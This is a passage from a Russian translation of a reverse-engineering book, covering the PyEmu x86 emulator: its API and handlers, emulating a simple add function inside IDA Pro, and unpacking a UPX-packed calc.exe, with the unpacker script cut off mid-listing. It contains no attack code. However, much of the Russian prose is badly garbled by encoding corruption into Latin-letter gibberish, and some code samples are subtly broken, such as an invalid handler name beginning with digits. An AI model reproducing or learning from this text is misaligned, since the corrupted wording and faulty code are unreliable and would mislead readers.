скрипта в IDAPython может спасти Zk от часов ручного ре_jkbg]Z , а j_fy ,
как из_klgh , яey_lky самым ценным актиhf . Теперь давайте a]eyg_f на
PyEmu, x86 эмулятор, основ
анный на Python, который яey_lky прекрасным
примером работы IDAPython в действии .


11.4 Ссылки

[1] The best reference on IDA Pro to date can be found at
http://www.idabook.com/

[2] The main IDA Pro page is at http://www.hex-rays.com/idapro/

[3] The BinNavi home page is at
http://www.zynamics.com/i ndex.php?page=binnavi

[4] The PaiMei home page is at http://code.google.com/p/paimei/

[5] For a full IDC function listing, see http://www.hex-
rays.com/idapro/idadoc/162.htm

ГЛАВА 12
PyEmu



PyEmu был за релизен на конференции BlackHat [1] в 2007 Коди Пирсом
(Cody Pierce), одним из талантливых мемберов TippingPoint DVLabs. PyEmu
яey_lky чистым Python эмулятором AI32, который позhey_l разработчику
использоZlv Python для эмуляции процессора. ИспользоZgb_ эмулятора
может быть очень полезным , при ре_jk_ j_^hghkgh]h программного
обеспечения , когда u не хотите запускать j_^hghkguc код на реальной
системе. Его использоZgb_ также будет полезным и в ряде других задач
ре_jk инженера . PyEmu имеет три метода dexqZxsbo hafh`ghkl
ь
эмуляции : IDAPyEmu , PyDbgPyEmu и PEPyEmu . Класс IDAPyEmu позhey_l
запускать эмуляцию задач gmljb IDA Pro, используя IDAPython ( см. Глава
11 ). Класс PyDbgPyEmu позhey_l использоZlv эмулятор h j_fy
динамического анализа , что дает hafh`ghklv использоZlv реальные
значения памяти и регистров в нутрии скриптов . Класс PEPyEmu яey_lky
отдельной библиотекой статического анализа, которая не требует наличия
IDA Pro для дизассемблироZgby . В этой гла_ мы рассмотрим
использоZgb_ IDAPyEmu и PEPyEmu, а исследоZgb_ PyDbgPyEmu остаbf
читателю в качест_ упражнения . ДаZcl_ устаноbf PyEmu, а зат
ем
перейдем на рассмотрение базоhc архитектуры эмулятора.


12.1 УстаноdZ PyEmu

УстаноdZ PyEmu доhevgZ простая ; просто загрузите zip-архив по
следующей ссылке:

http://www.nostarch.com/ghpython.htm


Как только загрузите файл – распакуйте его в "C:\PyEmu". Каждый раз ,
создаZy скрипт PyEmu, нужно указыZlv путь к коду PyEmu. Делается это с
помощью следующих дmo Python строк:

sys.path.append("C:\PyEmu\")
sys.path.append("C:\PyEmu\lib")

Вот и k_ ! Теперь даZcl_ углубимся в архитектуру системы PyEmu, а затем
перейдем к созданию простых скриптов .

12.2 Обзор PyEmu

PyEmu разделяется на три осноgu_ системы : PyCPU , PyMemory и PyEmu .
По большей части u будете aZbfh^_ckl\hать только с родительским
классом PyEmu, который затем aZbfh^_cklует с классами PyCPU и
PyMemory, чтобы uihegblv k_ низкоуроg_ые задачи эмуляции . Когда u
просите PyEmu uihegblv инструкции, он uauает PyCPU для их
фактического исполнения. Затем PyCPU обращается (calls back) к PyEmu,
чтобы запросить необходимую память от PyMem
ory, которая требуется для
uiheg_gby постаe_gghc задачи . Когда инструкция закончила uiheg_gb_
и нужно _jgmlv память – происходит обратная операция.

Мы кратко рассмотрим каждую из подсистем и их различные методы для
лучшего понимания того, как PyEmu делает свою грязную работу .

12.2.1 PyCPU

Класс PyCPU это сердце и душа PyEmu, поскольку _^_l себя так же , ка
к
физический процессор на компьютере который u сейчас используете . Его
работа заключается в uiheg_gbb инструкций h j_fy эмуляции. Когда
PyCPU нужно uihegblv инструкцию , он получает инструкцию из текущего
указателя инструкций ( который определяется либо статически от IDA
Pro/PEPyEmu, либо динамически от PyDbg). Получив инструкцию , он
gmlj_gg_ передает ее в pydasm, который декодирует их в опкоды и
операнды. Воз

можность самостоятельного декодироZgby инструкций
позhey_l PyEmu спокойно работать в различных средах , которые он
поддержиZ_l .

В PyEmu для каждой инструкции программы есть соот_lklующая
инструкция эмулятора . Например , если бы в PyCPU была передана
инструкция CMP EAX,1, он бы uaал функцию CMP() из класса PyCPU,
после чего , получив необходимые значения , устаноbe бы соот_lklующие
флаги процессора , чтобы указать прошло ли сраg_gb_ успешно (прим . пер .
т .е . EAX = = 1) или нет . Не стесняйтесь исследоZlv фа

йл PyCPU.py, который
содержит k_ поддержиZ_fu_ PyEmu инструкции. Коди Пирс пошел на
многое , чтобы гарантироZlv , что код эмулятора читабелен и понятен ;
исследоZgb_ PyCPU яey_lky отличным способом понять , как задачи
процессора uihegyxlky на низком уроg_ .

12.2.2 PyMemory

Класс PyMemory яey_lky средстhf для класса PyCPU позheyxs_]h
загружать и сохранять необходим

ые данные h j_fy uiheg_gby
инструкций. Он также от_qZ_l за отображение секций кода и данных
( uihegy_fhc программы ) таким образом , чтобы к ним можно было

обращаться из эмулятора . Теперь , когда у Zk есть некоторые знания о дmo
Z`guo подсистемах PyEmu, даZcl_ посмотрим на осноghc класс PyEmu и
некоторые из поддержиZ_fuo им методов .

12.2.3 PyEmu

Родительский класс PyEmu является основной дb`ms_c силой для k_]h
процесса эмуляции . PyEmu был разработан для того, чтобы быть очень
легким и гибким , и чтобы можно было быстро разрабатыZlv мощн
ые
скрипты без необходимости упраe_gby какими -либо низкоуроg_ыми
процедурами . Это достигается с помощью воздейстby kihfh]Zl_evguo
функций , которые позheyxl : контролироZlv uiheg_gb_ потока ,
контролироZlv изменения значений регистров , изменять содержимое памяти
и многое другое . ДаZcl_ углубимся в рассмотрение некоторых из этих
kihfh]Zl_evguo функций до разработки нашего перh]h скрипта для
PyEmu.

12.2.4 Execution

В PyEmu uiheg_gb_ ко
нтролируется с помощью одной функции, с
соот_lklующим назZgb_ execute(). Она имеет следующий прототип:

execute( steps=1, start=0x0, end=0x0 )

Метод execute() принимает три необязательных параметра и если аргументы
не будут подстаe_gu , то он начнет uiheg_gb_ с текущего адреса PyEmu.
Им может быть : либо значение из EIP, h j_fy динамического uiheg_gby в
PyDbg; либо точкой oh^Z исполняемой программы , в случае с PEPyEmu;
либо эффектиguf адресом курсора , устаноe_gguf Zfb в нутрии IDA Pro.
Параметр steps определяет , сколько инструкций должен uihegblv PyEm
u,
прежде чем останоblvky . При использоZgbb параметра start , u
устанавливаете начало uiheg_gby инструкций. Он также может быть
использоZg с параметром steps или параметром end , чтобы определить ,
когда PyEmu должен останоblv uiheg_gb_ .

12.2.5 Memory and Register Modifiers

ЧрезuqZcgh Z`gh иметь hafh`ghklv устанаebать или получать
значения регистров и памяти h j_fy uiheg_gby скриптов эмуляции.
PyEmu разбиZ_l модифицирующиеся данные на четыре отдельных
категории : memory , stack variables , stack arguments и registers . Чтобы
устаноblv или получить значение памяти (memory) используйте функции
set_memory() и get_memory(), которые имеют следующие прототипы :

get_memory( address, size )
set_memory( address, value, size=0 )

Функция get_memory() принимает дZ параметра : параметр address ,
гоhjbl PyEmu какой адрес памяти запросить , а параметр size определяет
размер полученных данных . Функция set_memory() принимает address
памяти для записи, параметр value , определяет значение , которое будет
записано (по указанному адресу ), а необязательный параметр size гоhjbl
PyEmu размер записыZ_fuo данных .

Д_ стекоuo категории (stack variables , stack arguments ) _^ml себя
аналогич

но и используются для изменения функций аргументов и локальных
переменных в кадре стека . Они имеют следующие прототипы :

set_stack_argument( offset, value, name="" )
get_stack_argument( offset=0x0, name="" )
set_stack_variable( offset, value, name="" )
get_stack_variable( offset=0x0, name="" )

Для функции set_stack_argument(), в параметре offset указыZ_lky
смещение от переменной ESP, а в параметр value используется для устаноdb
аргумента стека (stack argument). При желании для аргумента стека можно
указать имя в параметре name . При использоZgbb функции
get_stack_argument() , для получения значения аргумента стека , можно
использоZlv либо параметр offset, либо параметр name, если ему до этого
было устаноe_gh пользоZl_evkdh_ имя. Прим

ер такого использоZgby
показан ниже :

set_stack_argument( 0x8, 0x12345678, name="arg_0" )
get_stack_argument( 0x8 )
get_stack_argument( "arg_0" )

Функции set_stack_variable() и get_stack_variable() работают тем же самым
образом , за исключением того , что для устаноdb значения локальным
переменным в области функций , в параметре offset , указыZ_lky смещение
относительно регистра EBP (при наличии ).

12.2.6 Handlers

Обработчики обеспечиZxl очень гибкий и мощный механизм обратного
uahа (callback), позволяющего ре_jk_jm наблюдать , модифицироZlv или
изменять определенные моменты исполнения . PyEmu предостаey_l hk_fv
осноguo обработчиков : register handl

ers , library handlers, exception handlers ,

instruction handlers, opcode handlers, memory handlers, high-level memory
handlers и program counter handler . ДаZcl_ быстро рассмотрим каждый из
них , а затем перейдем к реальным случаям использоZgby .

12.2.6.1 Register Handlers

Register handlers используются для того, чтобы наблюдать за изменениями в
определенном регистре . Каждый раз , когда u[jZgguc регистр изменится ,
будет uaан Zr обработчик . Для установки register handler используется
следующий прототип:

set_register_handler( register, register_handler_function )
set_register_handler( "eax ", eax_register_handler )

После того как u устаноbeb обработчик , нужно определить функцию
обработчик , используя следующий прототип:

def register_handler_function( emu, register, value, type ):

Когда вызыZ_lky обработчик процедуры, в перhf параметре emu
передается текущий экземпляр PyEmu, в следующем параметре register и
последующем value , передается регистр, за которым u наблюдаете , и его
значение соот_lklенно . В параметре type передается строка , указыZxsZy
на чтение (read) или запись (write) в регистр (прим . пре . т.е . дает понять ,
« пишут » в регистр или «читают » из не
го). Это не_jhylgh мощный способ ,
позheyxsbc наблюдать за изменениями регистра в течении долгого
j_f_gb , и помимо этого , позволяет изменять регистры в нутрии
обработчика процедуры, если потребуется .

12.2.6.2 Library Handlers

Library handlers позheyxl PyEmu перехZluать любые функций , h
g_rgbo модулях (libraries), до их непосредст_ggh]h uahа. Это позhey_l
эмулятору изменять как uahы функций , так и haращаемый ими
результат . Для устаноdb library handler, используется следующий прототип:

set_library_handler( function, library_handler_function )
set_library_handler( "CreateProcessA", create_process_handler )

После того как library handler устаноe_g, нужно определить функцию
обработчик , используя следующий прототип:

def library_handler_function( emu, library, address ):

В перhf параметре передается текущий экземпляр PyEmu. В параметре
library передается имя uaанной функции . В параметре address передается
адрес в памяти, где располагается импортируемая функция .

12.2.6.3 Exception Handlers

Вы должны быть хорошо знакомы с обработчиками исключений (exception
handlers) из Глаu 2
. Они работают похожим образом и в эмуляторе PyEmu;
kydbc раз, при срабатыZgbb исключения, будет uaан устаноe_gguc
обработчик исключений. В настоящий момент , PyEmu поддержиZ_l только
general protection fault ( прим. пер . не знаю , как лучше перевести ), что
позhey_l обрабатыZlv любой непраbevguc доступ к памяти в нутрии
эмулятора . Для устаноdb обработчика исключений, используется
следующий прототип:

set_exception_handler( "GP", gp_exception_handler )

Процедура обработчика , для обработки любых поступиrbo исключений ,
должна следоZlv следующему прототипу :

def gp_exception_handler( emu, exception, address ):

Как обычно , в первый параметр передается текущий экземпляр PyEmu, в
параметр exeption передается код сгенерироZggh]h исключения , а в
параметр address передается адрес , где произошло исключение .

12.2.6.4 Instruction Handlers

Instruction handlers яeyxlky очень мощным средстhf для перехZlZ
определенных инструкций после того как те были uiheg_gu . Это может
пригодиться в самых разных случаях. Например , в сh_c стат
ье , на
конференции BlackHat, Коди Пирс гоhjbl, что u можете устаноblv
обработчик для инструкции CMP, чтобы следить за u[hjhf _lлений ,
произh^bfuf в заbkbfhklb от результата uiheg_gby инструкции CMP.
Для устаноdb instruction handler, используется следующий прототип :

set_instruction_handler( instruction, instruction_handler )
set_instruction_handler( "cmp", cmp_instruction_handler )

Функция обработчик должна соблюдать следующий прототип:

def cmp_instruction_handler( emu, instruction, op1, op2, op3 ):

В перhf параметре передается экземпляр PyEmu, в параметре instruction
передается uiheg_ggZy инструкция, а в остаrboky трех параметрах
передаются значения k_o hafh`guo операндов , которые были
использоZgu .

12.2.6.5 Opcode Handlers

Opcode handlers очень похожи на instruction handlers в том , что они
uauаются при uiheg_gbb определенного опкода (opcode). Это дает Zf
более ukhdbc уро_gv контроля , поскольку , каждая инструкция может
иметь несколько опкодов , в заb
симости от операндов , которые она
использует . Например , инструкции “PUSH EAX” принадлежит опкод 0x50, в
то j_fy как инструкции “PUSH 0x70” принадлежит опкод 0x6A, а полный
опкод операции будет 0x6A70. Для устаноdb opcode handler, используется
следующий прототип:

set_opcode_handler( opcode, opcode_handler )
set_opcode_handler( 0x50, my_push_eax_handler )
set_opcode_handler( 0x6A70, my_push_70_handler )

В перuc параметр opcode нужно передать код операции , который нужно
перехZlblv , а h lhjhc параметр opcode_handler передать функцию
обработчик . Вы не ограничены однобайтоufb опкодами : если опкод
состоит из нескольких байт , можете передать _kv набор, как показано h
lhjhf примере .

Функция обработчик должна соблюдать следующий прототип:

def opcode_handler( emu, opcode, op1, op2, op3 ):

В перhf параметре передается текущий экземпляр PyEmu, в параметре
opcode передается uiheg_gguc опкод, а в остаrboky трех параметрах
передаются значения k_o hafh`guo операндов , которые были
использоZgu .

12.2.6.6 Memory Handlers

Memory handlers могут использоZlvky , чтобы отследить доступ к
определенным данным по конкретному адресу в памяти. Это может быть
очень Z`gh при отслежиZgbb глобальной переменной или интересно
й
части данных в буфере , и, наблюдая за тем , как это значение меняется с
течением j_f_gb . Для устаноdb memory handler, используется следующий
прототип :

set_memory_handler( address, memory_handler )
set_memory_handler( 0x12345678, my_memory_handler )

В перuc параметр address нужно передать адрес в памяти , за которой u
хотите наблюдать , а h lhjhc параметр memory_handler передать функцию
обработчик .

Функция обработчик должна соблюдать следующий прототип:

def memory_handler( emu, address, value, size, type ):

В перhf параметре передается текущий экземпляр PyEmu, в параметре
address передается адрес в памяти, по которому происходит доступ , в
параметре value передаются данные, которые будут считаны или записаны , в
параметре size передается размер данных, которые будут считаны или
записаны , а в параметре type передается строкоh_ значение, которое
указыZ_l на чтение или запись .

12.2.6.7 High-Level Memory Handlers

High-level memo

ry handlers позheyxl перехZlblv доступ к памяти g_
определенного адреса . При устаноd_ high-level memory handler, можно
контролироZlv k_ операции чтения /записи к любой памяти , стеку или куче ,
тем самым позheyy глобально контролироZlv доступ к памяти k_o типов .
Для устаноdb различных high-level memory handlers, используются
следующие прототипы :

set_memory_write_handler( memory_write_handler )
set_memory_read_handler( memory_read_handler )
set_memory_access_handler( memory_access_handler )
set_stack_write_handler( stack_write_handler )
set_stack_read_handler( stack_read_handler )
set_stack_access_handler( stack_access_handler )
set_heap_write_handler( heap_write_handler )
set_heap_read_handler( heap_read_handler )
set_heap_access_handler( heap_access_handler )

Для k_o этих обработчиков нужно просто передать функцию обработчик ,
которая будет uauаться в момент наступления одного из указанных
событий доступа к памяти .

Функция обработчик должна соблюдать следующий из прототипов :

def memory_write_handler( emu, address ):
def memory_read_handler( emu, address ):
def memory_access_handler( emu, address, type ):

Функции memory_write_handler и memore_read_handler просто
принимают текущий экземпляр PyEmu и адрес , где происходит чтение или
запись . Обработчик доступа (access handler) имеет немного отличающийся
прототип, потому что получает третий параметр , который указывает на тип
доступа к памяти . Параметр type это просто строка , указыZxsZy на чтение
(read) или запись (write) .

12.2.6.8 Program Counter Handler

Program counter handler позhey_l uaать обработчик , когда uiheg_gb_
достигает определенного адреса в эмулято

ре . Так же , как и другие
обработчики, он позволяет перехZluать определенные полезные места h
j_fy uiheg_gby эмулятора . Для устаноdb program counter handler,
используется следующий прототип:

set_pc_handler( address, pc_handler )
set_pc_handler( 0x12345678, 12345678_pc_handler )

В параметре address нужно передать адрес места , где должна быть uaана
функция обратного uahа (callback), а в параметре pc_handler передать
функцию , которая будет uaана , в момент , когда переданный адрес
достигает эмулятор, h j_fy сh_]h uiheg_gby .

Функция обработчик должна соблюдать следующий прототип:

def pc_handler( emu, address ):

Как обычно , в перhf параметре передается текущий экземпляр PyEmu, а в
параметр address передается адрес , где произошел перехZl .

Теперь , когда мы рассмотрели осноu использоZgby эмулятора PyEmu и
некоторые его методы , даZcl_ перейдем к использоZgbx эмулятора в
боеuo услоbyo ре_jk -инженера. Для начала мы будем использоZlv
IDAPyEmu, чтобы эмулироZlv простой uah\ функции в дhbqghf фай
ле ,
который мы загрузим в IDA Pro. Во lhjhf упражнении мы будем
использоZlv PEPyEmu для того, чтобы распакоZlv дhbqguc файл, который
был упакоZg с помощью UPX.

12.3 IDAPyEmu

В нашем перhf примере нужно загрузить дhbqguc файл в IDA Pro и
используя PyEmu эмулироZlv uah\ функции . Дhbqguc файл яey_lky
простым приложением на C++, которое было назZgh addnum.exe. Оно
доступно , f_kl_ с остальными файлами для этой книги , по следующей
ссылке :

http://www.nostarch.com/ghpython.htm


Этот дhbqguc файл просто принимает дZ числа в качест_ параметров
командной строки , затем складыZ_l их между собой и uодит результат
сложения на экран . ДаZcl_ быстро просмотрим исходный код, прежде чем
смотреть на его дизассемблироZggh_ предстаe_gb_ .

addnum.cpp

#include
#include
#include

int add_number( int num1, int num2 )
{
int sum;
sum = num1 + num2;
return sum;
}

int main(int argc, char* argv[])
{
int num1, num2;
int return_value;

if( argc < 2 )
{
printf("You need to enter two numbers to add.\n");
printf("addnum.exe num1 num2\n");
return 0;
}

(#1): num1 = atoi(argv[1]);
num2 = atoi(argv[2]);

(#2): return_value = add_number( num1, num2 );

printf("Sum of %d + %d = %d",num1, num2, return_value );

return 0;
}

Это простая программа принимает дZ аргумента командной строки,
преобразует их в целые числа (#1), а затем uauает функцию add_number
(#2), чтобы сложить их f_kl_ . Мы будем использовать функцию add_number
в качестве нашей цели для эмуляции , потому что ее доhevgh просто понять
и про_jblv результат. Это будет хорошей отпраghc точкой для изучения
того, как эффектиgh использоZlv систему PyEm

u.

Теперь , прежде чем погрузиться в код PyEmu, даZcl_ посмотрим на
дизассемблерное представление функции add_number . В Листинге 12-1
показан ее ассемблерный код:

Listing 12-1 : Assembly code for the add_number function

var_4= dword ptr -4 # sum variable
arg_0= dword ptr 8 # int num1
arg_4= dword ptr 0Ch # int num2

push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn

Мы b^bf , как исходный код C++ транслируется в ассемблерный код после
того, как он был скомпилироZg . Мы будем использоZlv PyEmu, чтобы
устаноblv д_ переменные стека arg_0 и arg_4 в любое целое число ,
которое мы u[_j_f . Затем перехZlbf значение в регистре EAX , когда
функция будет uihegylv инструкцию RETN . Регистр EAX будет
содержать сумм дmo чисел , которые мы пе
редали в функцию . Хотя это и
упрощенный uah\ функции , он предостаey_l отличную отпраgmx точку
для последующих эмуляций более сложных функций и перехZlZ их
haращаемых значений .

12.3.1 Function Emulation

Перuc шаг, при создании ноh]h сценария PyEmu, убедиться в том , что path
к PyEmu устаноe_g праbevgh. Откройте ноuc Python- скрипт, назовите его
addnum_function_call.py и едите следующий код.

addnum_function_call.py

import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")

from PyEmu import *

Теперь , когда path праbevgh устаноe_g , мы можем начать писать скрипт .
Сначала нам нужно сопостаblv секции кода и данных с дhbqguf файлом,
таким образом , чтобы эмулятор имел реальный код для uiheg_gby .
Поскольку нами используется IDAPython, мы будем использоZlv похожие
функции (см . предыдущую глаm по IDAPython
) для загрузки секций
дhbqgh]h файла в эмулятор. ДаZcl_ продолжим писать наш скрипт
addnum_function_call.py :

addnum_function_call.py

...
(#1): emu = IDAPyEmu()

# Load the binary's code segment
code_start = SegByName(".text")
code_end = SegEnd( code_start )

(#2): while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start),
size=1 )
code_start += 1

print "[*] Finished loading code section into memory."

# Load the binary's data segment
data_start = SegByName(".data")
data_end = SegEnd( data_start )

(#3): while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start),
size=1 )
data_start += 1

print "[*] Finished loading data section into memory."

Вначале присZbаем значение объекта IDAPyEmu (#1), который необходим
для использоZgby в любом из методов эмулятора . Затем загружаем секции
кода (#2) и данных (#3) из двоичного файла в память PyEmu. Мы используем
функцию IDAPython SegByName() , чтобы найти начало секций, а функцию
SegEnd() для определения конца секций . Затем просто перебираем секции по

байтоh, чтобы сохранить их в памяти PyEmu. Теперь , когда у нас имеются
секции кода и данных, загруженные в память , нам нужно устаноblv :
параметры стека для uahа функции ; обработчик инструкции (instruction
handler), который будет uaан , когда будет uiheg_gZ инструкция RETN ; и
начать uiheg_gb_ . Добаvl_ следующий код в Zr скрипт :

addnum_function_call.py

...
# Set EIP to start executing at the function head
(#1): emu.set_register("EIP", 0x00401000)

# Set up the ret handler
(#2): emu.set_mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call
(#3): emu.set_stack_argument(0x8, 0x00000001, name="arg_0")
emu.set_stack_argument(0xc, 0x00000002, name="arg_4")

# There are 10 instructions in this function
(#4): emu.execute( steps = 10 )

print "[*] Finished function emulation run."

Сначала устанаebаем EIP в начало функции , которая размещена по
0x00401000 (#1) ; это место, откуда PyEmu начнет сh_ uiheg_gb_
инструкций. Затем устанаebаем mnemonic или instruction handler , который
будет uaан , когда функция uihegbl инструкцию RETN (#2). Третьим
шагом является устаноdZ параметров стека (#3) для uahа функции . Эти
дZ числа будут сложены между собой; в нашем случае мы будем
использоZlv 0x00000001 и 0x00000002 . Затем просим PyEm

u uihegblv k_
10 инструкций (#4), содержащиеся в этой функции . На последнем шаге
напишем обработчик инструкции RETN, таким образом , заключительный b^
скрипта должен u]ey^_lv следующим образом:

addnum_function_call.py

import sys
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")

from PyEmu import *

def ret_handler(emu, address):

(#1): num1 = emu.get_stack_argument("arg_0")
num2 = emu.get_stack_argument("arg_4")
sum = emu.get_register("EAX")

print "[*] Function took: %d, %d and the result is %d." %
(num1, num2, sum)

return True

emu = IDAPyEmu()

# Load the binary's code segment
code_start = SegByName(".text")
code_end = SegEnd( code_start )

while code_start <= code_end:
emu.set_memory( code_start, GetOriginalByte(code_start),
size=1 )
code_start += 1

print "[*] Finished loading code section into memory."

# Load the binary's data segment
data_start = SegByName(".data")
data_end = SegEnd( data_start )

while data_start <= data_end:
emu.set_memory( data_start, GetOriginalByte(data_start),
size=1 )
data_start += 1

print "[*] Finished loading data section into memory."

# Set EIP to start executing at the function head
emu.set_register("EIP", 0x00401000)

# Set up the ret handler
emu.set_mnemonic_handler("ret", ret_handler)

# Set the function parameters for the call
emu.set_stack_argument(0x8, 0x00000001, name="arg_0")
emu.set_stack_argument(0xc, 0x00000002, name="arg_4")

# There are 10 instructions in this function
emu.execute( steps = 10 )

print "[*] Finished function emulation run."

Обработчик инструкции RET (#1) просто изe_dZ_l аргументы стека и
значение регистра EAX , а затем uодит результат uahа функции .
Загрузите дhbqguc файл addnum.exe в IDA Pro и запустите скрипт PyEmu,
также как u запускали обычный файл IDAPython (см. ГлаZ 11
). После
запуска u должны b^_lv следующий uод, как показано в Листинге 12-2.

Listing 12-2: Output from our IDAPyEmu function emulator

[*] Finished loading code section into memory.[*] Finished
loading data section into memory.[*] Function took 1, 2 and the
result is 3.[*] Finished function emulation run.

Доhevgh просто ! Можно b^_lv , что скрипт успешно перехZluает
аргументы стека и изe_dZ_l значение регистра EAX (сумма дmo
аргументов ). Попрактикуйтесь , загружайте различные дhbqgu_ файлы в
IDA Pro, u[bjZcl_ случайную функцию и пытайтесь эмулироZlv ее uah\ .
Вы будете поражены тем , насколько мощной может быть эта техника , когда
функция состоит из сотен или тысяч инструкций с множестh
м _lлений ,
циклов и точек haратов (return points). ИспользоZgb_ этого метода в
ре_jkbg]_ функции может сохранить часы ручного исследоZgby . Теперь
даZcl_ hkihevam_fky библиотекой PEPyEmu для распакоdb сжатого
дhbqgh]h файла .

12.3.2 PEPyEmu

Класс PEPyEmu предостаey_l реверсеру hafh`ghklv , использовать
PyEmu в средах статического анализа без использоZgby IDA Pro. Он берет
дhbqguc файл , отображает необходимые секции в памяти и затем
использует pydasm для декодироZgby инструкций. Мы будем использоZl

ь
PEPyEmu в реальной задаче ре_jk_jZ , в которой будем брать упакоZgguc
дhbqguc файл , который будем запускать в эмуляторе , чтобы сдампить
после того, как он будет распакоZg . Упакоsbdhf , который мы планируем
использоZlv , будет Ultimate Packer for Executables (UPX) [2]
. Это Open
Source упакоsbd , который используется множестhf ZjbZglh\
j_^hghkgh]h ПО, в попытках сохранить размер исполняемого файла
маленьким и затруднить статический анализ. В начале , давайте разберемся ,
что такое упакоsbd и как он работает . Затем мы упакуем дhbqguc файл с
помощью UPX. Нашим последним шагом будет использоZgb_ специального
PyEmu скрипта, который Коди Пирсон предостаbe для распакоdb
исполняемых фай

лов и сброса (dump) результирующего дhbqgh]h файла на
диск . После того, как файл распакоZg и сброшен (dumped) на диск , можно
применять обычные методы статического анализа .

12.3.3 Executable Packers

Упакощики или компрессоры исполняемых файлов сущестmxl уже
доhevgh даgh . ПерhgZqZevgh они использоZebkv , чтобы уменьшить
размер исполняемого файла , таким образом , чтобы тот смог поместиться на
дискету 1.44 MB. C тех пор они ujhkeb и ст
али использоZlvky аlhjZfb
злоj_^gh]h программного обеспечения для запутыZgby (обфускации,
obfuscation) кода злоj_^h\ . Типичный упакоsbd сжимает сегменты кода и

данных в целеhf дhbqghf файле и заменяет точку oh^Z (Entry Point, EP)
декомпрессора . Когда двоичный файл начинает сh_ uiheg_gb_ ,
запускается декомпрессор , который распакоuает оригинальный дhbqguc
файл в память , и затем передает упраe_gb_ на оригинальную точку oh^m
(Original Entry Point, OEP). После того, как OEP достигнуто , дhbqguc файл
начинает сh_ нормальное uiheg_gb_ . Когда ре_jk_j сталкиZ_lky с
упакоZgguf файлом , он должен сн
ачала избаblvky от упакоsbdZ для того ,
чтобы спокойно анализироZlv истинный двоичный файл содержащийся в
нем . Обычно можно использоZlv отладчик для uiheg_gby подобного рода
задач , но аlhju j_^hghkh\ , в последние годы, стали более бдительными и
kljZbают анти -отладочные методы , gmljb упакоsbdh\ , таким образом ,
чтобы использоZgb_ отладчика против упакоZgghc программы стало очень
сложным . Это то место , где использоZgb_ эмулятора может быть u]h^guf ,
поскольку никакой отладчик не присо

единен к исполняемой программе ; мы
просто запускаем код gmljb эмулятора и ждем пока процедура распаковки
будет окончена . После того, как упакоsbd закончил распакоdm
оригинального файла , нужно сдампить распакоZgguc бинарный файл на
диск таким образом , чтобы мы могли загрузить его либо в отладчик , либо в
инструмент статич

еского анализа , например , IDA Pro.

Мы будем использовать UPX для сжатия файла calc.exe, который
постаey_lky со k_fb _jkbyfb Windows. Затем мы будем использоZlv
скрипт PyEmu, чтобы распакоZlv исполняемый файл и сдампить его на
диск . Этот прием может использоваться и для других упакоsbdh\ . Его
рассмотрение будет служить отличной отпраghc точкой для разработки
более сложных скриптов , позheyxsbo против

остоять различным
упакоsbdZf , обнаруженным в дикой природе (In the Wild, ITW).

12.3.4 UPX Packer

UPX – это безплатный упакоsbd c открытым исходным кодом , который
работает на Linux, Windows и других операционных системах . Он предлагает
различные уроgb сжатия и множество дополнительных опций . Мы будем
применять только осноgh_ сжатие , но u не стесняйтесь исследоZlv k_
hafh`gu_ опции , которые поддержиZ_l UPX.

Для на

чала, загрузите UPX по следующей ссылке :

http://upx.sourceforge.net


После загрузки файла , распакуйте zip- архив на диск "C:\" . Для работы с UPX
следует использовать командную строку , потому что он постаey_lky без
графической оболочки (GUI). В командной строке, перейдите в директорию ,
куда был устаноe_g UPX (в моем случае это "C:\upx303w\" ) и едите
следующую команду :

C:\upx303w>upx -o c:\calc_upx.exe C:\Windows\system32\calc.exe

Ultimate Packer for eXecutables
Copyright (C) 1996 - 2008
UPX 3.03w Markus Oberhumer, Laszlo Molnar & John Reiser Apr 27th 2008

File size Ratio Format Name
-------------------- -------- ----------- ------------
114688 -> 56832 49.55% win32/pe calc_upx.exe

Packed 1 file.
C:\upx303w>

Это создаст сжатую _jkbx Windows калькулятора и сохранит его в корне
диска "C:\". Флаг –o определяет имя файла , под которым должен быть
сохранен упакоZgguc исполняемый файл ; в нашем случае мы сохраняем его
как calc_upx.exe . Теперь у нас есть полностью упакоZgguc файл, с которым
можно проh^blv тесты в PyEmu, так что даZcl_ приступим к кодингу !

12.3.5 Unpacking UPX with PEPyEmu

Упакоsbd UPX использует доhevgh простой метод сжатия исполняемы

х
файлов : он добаey_l д_ секции (UPX0 и UPX1) к дhbqghfm файлу и
изменяет точку oh^Z (EP) так, чтобы она указыZeZ на процедуру
распакоdb . Если u загрузите упакоZgguc файл в Immunity Debugger и
исследуете расположение памяти (ALT+M), то u уb^bl_ , что карта памяти
в исполняемом файле аналогична той, что показана в Листинг
е 12-3:

Listing 12-3 : Memory layout of a UPX compressed executable.

Address Size Owner Section Contains Access Initial
Access
00100000 00001000 calc_upx PE Header R RWE
01001000 00019000 calc_upx UPX0 RWE RWE
0101A000 00007000 calc_upx UPX1 code RWE RWE
01021000 00007000 calc_upx .rsrc data,imports RW RWE
Resources

Можно b^_lv , что секция UPX1 содержит код . Это место , где упакоsbd
UPX создает осноgmx процедуру распаковки . Упакоsbd uihegy_l
процедуру распакоdb в этой секции , и когда распакоdZ закончена –
передает (JMP) упраe_gb_ на реальный код дhbqgh]h файла , находящийся
за пределами секции UPX1. Все, что мы должны сделать, это позheblv
эмулятору uihegblv процедуру распакоdb и обнаружить инструкцию JMP,
которая получает EIP, uoh^ysbc за пределы секции UPX1, после чего мы
должны оказ

аться в OEP.

Теперь, когда у нас есть дhbqguc файл, упакоZgguc с помощью UPX,
даZcl_ hkihevam_fky PyEmu, чтобы распакоZlv и сдампить (dump)
оригинальный бинарный файл на диск . На этот раз , мы будем использоZlv
аlhghfguc модуль PEPyEmu, поэтому откройте ноuc Python файл ,
назоbl_ его upx_unpacker.py и едите следующий код:

upx_unpacker.py

from ctypes import *

# You must set your path to pyemu
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")

from PyEmu import PEPyEmu

# Commandline arguments
exename = sys.argv[1]
outputfile = sys.argv[2]

# Instantiate our emulator object
emu = PEPyEmu()

if exename:
# Load the binary into PyEmu
(#1): if not emu.load(exename):
print "[!] Problem loading %s" % exename
sys.exit(2)
else:
print "[!] Blank filename specified"
sys.exit(3)

(#2): # Set our library handlers
